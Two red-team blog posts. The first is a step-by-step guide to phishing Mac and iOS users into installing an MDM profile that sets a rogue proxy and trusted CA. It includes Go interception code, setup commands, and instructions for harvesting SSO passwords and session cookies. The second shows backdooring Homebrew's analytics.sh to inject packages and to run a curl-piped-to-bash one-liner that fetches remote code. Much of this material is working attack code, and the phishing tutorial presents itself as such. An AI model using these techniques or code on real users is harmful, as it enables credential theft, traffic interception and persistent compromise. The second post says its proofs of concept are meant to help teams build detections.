Hijacking Web Traffic On MacOS and iOS With MDM Profiles

Written by actae0n

What Are MDM Profiles?

MDM profiles allow organizations to deploy common device configurations across MacOS and iOS devices. They can be deployed by hand, or via 3rd party MDM solutions such as Jamf or Munki. They’re deployed as .mobileconfig files, which are just XML under the hood. Here’s an example config that enforces a wallpaper setting:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
			<string>Desktop Picture</string>

So What?

A user can click on a .mobileconfig file to launch an installation wizard which will apply the attacker-controlled configuration settings to their device. Interestingly, they’re not currently restricted by Gatekeeper in anyway. At the time of writing, there are no signing or notarization requirements for MDM profiles (to my knowledge). However, there is an interesting UI/UX quirk that works in favor of attackers to increase the odds of a successful installation if you do choose to sign.

What’s The Plan?

Let’s build an MDM profile that sets a system wide HTTP proxy so that we can read their web traffic. Additionally, let’s add our own rogue CA certificate to their Keychain, which will be trusted system wide. This will allow us to intercept HTTPS traffic without their browser throwing nasty errors. Our proxy should dump their requests for inspection, so that we can loot session cookies and credentials from it.

Constructing The Proxy Server

There’s a great Go library called goproxy that makes it trivial to create custom proxy applications. Let’s modify one of the examples to dump requests that pass through the proxy. This will let us inspect the victim’s cookies and POST data (which will include credentials for login endpoints). There’s a lot of capability that can be built out here to make harvesting loot easier. Write regexes for POSTs to particular domains:uri pairs to pull out passwords. Log cookies to a database and send yourself a notification when a new session is detected for a domain you’re interested in, etc. But for the sake of example, let’s keep it simple.

package main

import (

func setCA(caCert, caKey []byte) error {
	goproxyCa, err := tls.X509KeyPair(caCert, caKey)
	if err != nil {
		return err
	if goproxyCa.Leaf, err = x509.ParseCertificate(goproxyCa.Certificate[0]); err != nil {
		return err
	goproxy.GoproxyCa = goproxyCa
	goproxy.OkConnect = &goproxy.ConnectAction{Action: goproxy.ConnectAccept, TLSConfig: goproxy.TLSConfigFromCA(&goproxyCa)}
	goproxy.MitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectMitm, TLSConfig: goproxy.TLSConfigFromCA(&goproxyCa)}
	goproxy.HTTPMitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectHTTPMitm, TLSConfig: goproxy.TLSConfigFromCA(&goproxyCa)}
	goproxy.RejectConnect = &goproxy.ConnectAction{Action: goproxy.ConnectReject, TLSConfig: goproxy.TLSConfigFromCA(&goproxyCa)}
	return nil

func main() {
	verbose := flag.Bool("v", false, "should every proxy request be logged to stdout")
	addr := flag.String("addr", ":443", "proxy listen address")
	certPath := flag.String("cert", "cert.crt", "Path to CA certificate")
	keyPath := flag.String("key", "key.pem", "Path to CA key")
	certData, err := ioutil.ReadFile(*certPath)
	if err != nil {
		log.Fatalf("Couldn't read certificate: %v\n", err)
	keyData, err := ioutil.ReadFile(*keyPath)
	if err != nil {
		log.Fatalf("Couldn't read key: %v\n", err)
	setCA(certData, keyData)
	proxy := goproxy.NewProxyHttpServer()
	proxy.Verbose = *verbose
	proxy.OnRequest().DoFunc(func(req *http.Request, ctx *goproxy.ProxyCtx) (*http.Request, *http.Response) {
		requestData, err := httputil.DumpRequest(req, true)
		if err != nil {
			fmt.Printf("Failed to dump request: %v\n", err)
		return req, nil
	log.Fatal(http.ListenAndServe(*addr, proxy))

Deploying The Proxy Server

Infrastructure-wise, I’m just going to throw the proxy setup into an ec2 instance in AWS. I’ll point a domain (0day.gg) at it, and assign a security group allowing port 443 inbound. Our proxy will need a CA certificate to use. Let’s generate one real quick. There’s a utility called certstrap by Square that I like to use in place of the OpenSSL cli that simplifies the process of generating certificates, certificate signing requests, etc.

ubuntu@ip-172-31-23-174:~$ go version
go version go1.13.5 linux/amd64

ubuntu@ip-172-31-23-174:~$ go install github.com/square/certstrap
go: finding github.com/square/certstrap v1.2.0
go: downloading github.com/square/certstrap v1.2.0
go: extracting github.com/square/certstrap v1.2.0
go: downloading github.com/urfave/cli v1.21.0
go: downloading github.com/howeyc/gopass v0.0.0-20170109162249-bf9dde6d0d2c
go: extracting github.com/urfave/cli v1.21.0
go: extracting github.com/howeyc/gopass v0.0.0-20170109162249-bf9dde6d0d2c
go: downloading golang.org/x/crypto v0.0.0-20181127143415-eb0de9b17e85
go: extracting golang.org/x/crypto v0.0.0-20181127143415-eb0de9b17e85
go: downloading golang.org/x/sys v0.0.0-20181128092732-4ed8d59d0b35
go: extracting golang.org/x/sys v0.0.0-20181128092732-4ed8d59d0b35
go: finding github.com/urfave/cli v1.21.0
go: finding github.com/howeyc/gopass v0.0.0-20170109162249-bf9dde6d0d2c
go: finding golang.org/x/crypto v0.0.0-20181127143415-eb0de9b17e85
go: finding golang.org/x/sys v0.0.0-20181128092732-4ed8d59d0b35

ubuntu@ip-172-31-23-174:~$ certstrap init --common-name "Acme Corp"
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Created out/Acme_Corp.key
Created out/Acme_Corp.crt
Created out/Acme_Corp.crl

ubuntu@ip-172-31-23-174:~$ head out/Acme_Corp.key out/Acme_Corp.crt
==> out/Acme_Corp.key <==

==> out/Acme_Corp.crt <==

Let’s kick off the proxy server so it’s ready. If you’re lazy and just want to clone the super basic proxy server code, it’s located here. I’m just going to throw this into an ec2 instance in AWS.

ubuntu@ip-172-31-23-174:~$ cd procksy/
ubuntu@ip-172-31-23-174:~/procksy$ ls
go.mod  go.sum  main.go
ubuntu@ip-172-31-23-174:~/procksy$ sudo ./procksy -cert ../out/Acme_Corp.crt -key ../out/Acme_Corp.key

Alright, now the proxy is listening and ready to capture web traffic. Let’s move on to the next step, setting up our malicious profile.

Building The Profile

For simplicity, I’m going to use Apple’s Configurator 2 to generate the profile. An alternative is iMazing Profile Editor. There’s plenty of graphical profile editor utilities, which one you use is up to you. When you open Configurator, you’ll be presented a screen that looks like the following:

Apple Configurator 2

Click File -> New Profile and you’ll come to the profile editor window. The first tab, General, lets us set up a name (the profile title), a unique identifier, an organizational identifier, a description to display to the user during installation. Use these fields to tailor the install experience to your phishing pretext.

General Profile Configuration

An important feature to note on this page is the support for automatic removal. You can set the profile to expire after a specified duration, or on a specified date. When the expiry criteria is met, the profile will be automatically uninstalled, and any settings it changed will be reverted. This includes removing your installed certificate from the Keychain.

Next, let’s set up the Proxy configuration. You’ll need to set the hostname and port. You can optionally configure a username and password to authenticate to the proxy with, if your setup supports it.

Proxy Configuration

In order to proxy HTTPS traffic without generating trust errors, we’ll need their system to trust our CA. Let’s add our rogue CA certificate to their Keychain. When you click Configure, you’ll be given a file selection dialogue to choose a cert file. After you choose your CA certificate, you’ll see the following image. Don’t worry about the This root certificate is not trusted warning. It will be trusted once installed by the profile.

Certificate Configuration

The last step is to (optionally) sign our profile. Go to File -> Sign Profile. A dropdown dialogue will appear listing the code signing identities stored in your Keychain. There are benefits and caveats to weigh when signing your profile. One significant benefit is that the user will see a green Verified indicator in the expanded installation window next to the org name, which may increase the likelihood of them installing the profile. Note that there aren’t any profile signing or notarization requirements by default, so signing is (currently) entirely optional. Gatekeeper won’t try to stop you. For the sake of demonstration, I’ll sign this profile with my developer certificate. Finally, let’s save the profile and get ready to send it to the victim. Go to File -> Save and select a storage location.

Now, let’s try to install our profile to see what the installation experience is like for the victim. When I open my MDM profile, I’m presented with the first installation pane:

First Installation Pane

If I click the Show Profile button, the pane will expand to display the profile details. Note the nice looking green Verified indicator that ends up right next to our company name. Legitimate looking. Very soothing. Reminds me of home. The victim will likely not understand that the Verified indicator simply means the profile has been signed, and that it may not legitimately be from the organization that is show next to it in that dialog.

Show Profile

I’ve redacted my Developer ID and name from the dialogue, but note that those will show up if you choose to sign your profile. Below that, the user can see the configuration details. You should count on the user wanting to click Show Profile, so choose a domain that fits the pretext. You can imagine 0day.gg isn’t the best choice, but it works for this demo. Something like proxy.target-org-lookalike.tld could be a good choice.

Show Profile - Payload Details

After clicking continue, the user will hit one last pane (with an optional expansion button):

Final Install Pane Final Install - Expand Pane

Upon clicking Install, the user will be asked for either their password or fingerprint, depending on if TouchID is configured or not. After supplying credentials or using the fingerprint sensor, the profile is installed.

Testing The Setup

Let’s hit Google and see if our setup is working. There should be no certificate errors.

Browser Test

And if we pop over to our proxy, we should see the request in STDOUT:

ubuntu@ip-172-31-23-174:~/procksy$ sudo ./procksy -cert ../out/Acme_Corp.crt -key ../out/Acme_Corp.key


GET http://www.google.com/ HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:71.0) Gecko/20100101 Firefox/71.0

Let’s simulate the victim signing in to their company SSO portal.

SSO Login

And the corresponding request in the proxy log:

Host: [SNIP].okta.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Cookie: __cfduid=de55169fca8d355f6b947f59708f984db1576815061; _okta_attribution={\%22utm_page%22:%22/%22%2C%22utm_date%22:%2212/19/2019%22}; _okta_session_attribut
ion={\%22utm_page%22:%22/%22%2C%22utm_date%22:%2212/19/2019%22}; _okta_original_attribution={\%22utm_page%22:%22/%22%2C%22utm_date%22:%2212/19/2019%22}
Origin: https://[SNIP].okta.com
Referer: https://[SNIP].okta.com/
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:71.0) Gecko/20100101 Firefox/71.0


Once the user has completed their login process and hit the landing page, we will have recorded both their credentials (username:password pair) as well as cookies for their active session. Having access to the cookies can be especially useful when attacking SSO portal that are protected with 2FA, as a user:password pair won’t cut it for access. By using their user:password, you also risk triggering protections that alert on logins from a new location. Import the cookies into your own browser using an extension such as Editthiscookie, and have fun looting with their session.

It’s useful to note that our proxy settings will be inherited by apps that respect the system HTTP proxy settings. So you’re not limited to capturing/manipulating only browser-generated traffic.

Bonus Round

Our proxy controls both the request (before hitting the destination server) and the response (before being returned to the client), so we can freely manipulate traffic. Some attacks to consider might be injecting JS hooks using something like Beef for client side phishing attacks and potential internal network access via XHR, and code injection in downloaded applications and scripts. Maybe you add a line to install scripts that the user downloads, or intercept packages, add files and manipulate scripts, resign, then forward it back to the requesting client. You’re the middleman.

Does This Work For iOS Devices?

It does, with some limitations. This payload can only be installed on an iOS device that is in supervised mode. If the organization you’re targeting issues corporate phones, they’re likely centrally managed somehow, so the devices will probably be in supervised mode. In that case, you can send the MDM profile to the victim and have them open it in either Safari or the Mail app, and they will be walked through similar installation steps. The major difference in installation experience is that after downloading the profile, the user will be directed to manually go to the Profiles section in the Settings app to finish the installation.

iOS Profile Installation

Wrapping Up

MDM profiles have some interesting applications for attackers. There’s a lot of attack surface to be explored here yet, and Apple hasn’t yet introduced signing and verification requirements for profiles. We’ve seen that the HTTP proxy payload is very powerful in SSO+SaaS based environments. If you liked this post, you might find @1njection’s MDM post interesting as well. If you’d like to explore all of the official keys/payloads for profiles, you should check out Apple’s reference.

HomeBrood 0x00 - Surreptitious hijacking of Homebrew on macOS

Written by noncetonic


I thought it might be fun to poke at Homebrew and see what kind of things I could find. Welcome to the beginning of what I hope will be a small but fun series of posts on abusing HomeBrew.

HomeBrood 0x00

Homebrew Analytics

By default, homebrew is set to phone home to Google Analytics over HTTPS and provide a number of known, documented, metadata strings claimed by the Homebrew team to help maintainers and as such “leaving it on is appreciated”.

The more paranoid-inclined user seeking to cut down on the data they freely hand over to Google and other analytic companies may already know to disable analytics right after installing homebrew and before going off and installing packages. Unfortunately, as will be shown homebrew analytics can be far more dangerous than it would appear.

Check out https://github.com/Homebrew/brew/blob/master/docs/Analytics.md to read more about the information gathered by Homebrew Analytics and how to disable this feature or just run brew analytics off to disable Homebrew Analytics if brew analytics does not return “Analytics is disabled.”


Reading through /usr/local/Homebrew/Library/Homebrew/brew.sh reveals an interesting opportunity for a number of possible scenarios for attacks but a basic example of persistence will be provided here to keep with the context of this file.

# Don't need shellcheck to follow this `source`.
# shellcheck disable=SC1090
source "$HOMEBREW_LIBRARY/Homebrew/utils/analytics.sh"

From /usr/local/Homebrew/Library/Homebrew/brew.sh

First and foremost the $HOMEBREW_LIBRARY/Homebrew/utils/analytics.sh file (full, expanded path /usr/local/Homebrew/Library/Homebrew/utils/analytics.sh) is sourced blindly without attempting to ensure the file even exists and then proceeds to run the newly exported setup-analytics function donated by analytics.sh. This means that even when Homebrew Analytics has been explicitly disabled on a system it is not until after all code within analytics.sh is run that Homebrew checks whether or not analytics should be sent.

It’s simple to see how easily the user-owned, user-writeable analytics.sh file can be abused by simply adding commands to the end of the analytics.sh file or within the setup-analytics function, hell you’re free to write your own bash script altogether and including an empty setup-analytics function to keep from causing an error. This all happens pretty early on in the logic for subcommands of the brew command; shortly after determining the subcommand and well before processing package names and subcommand options are slurped in for processing. This makes it possible to pass a malicious package name during a brew install command in addition to running just about anything you want.

Let’s explore some of these attacks and their implementation.

Hijacking brew install

Add the following tiny modification at the bottom of the analytics.sh file

# Prepend a defined package to all invocations of `brew install`
if [[ "$HOMEBREW_COMMAND" = "install" ]]

Nice and easy. As the analytics.sh file is sourced into brew.sh we are lucky enough to have access to the $HOMEBREW_COMMAND variable which holds the subcommand sent to the brew command as well as $@ which contains the arguments passed to the subcommand.

Presumably the possibly most esoteric bit of code here for beginner BASH scripters is the line starting with set.
The set command allows rearranging the order of the arguments passed on the commandline and in this example simply prepends whichever package you choose to the list of arguments the user provided which ensures our desired package is installed first and can hopefully get lost in the wall of text generated during a brew install.

This same concept can be applied to run any commands you want, you are not limited to simply brew commands. For example if you’d just like to have a compromised host send a request to a server wehenever brew is run as a way of gaining access to the network in case of being forcefully ejected from the network or just because networks are hard a simple script could be written which sends a GET request to a remotely hosted file and executing any commands within that file.

bash <(curl -s https://gist.githubusercontent.com/n0ncetonic/1d965369574a413b4dd1e4514e27992a/raw/675a9546c6ecdb46ce5a6b13a7faf63428359e53/example.sh)

Adding this simple one-liner into analytics.sh will cause the contents of the remote file to be run whenever brew is run.


These PoCs are intended to be used as demos in aiding teams attempting to write detections around TTPs which could be leveraged by threat actors to avoid triggering common persistence detection checks . The potential for far more complex payloads which take advantage of this Technique are the responsibility of the reader to create.

If you do happen to come up with something fun that takes advantage of this simple brew command hijack please let me know via twitter @noncetonic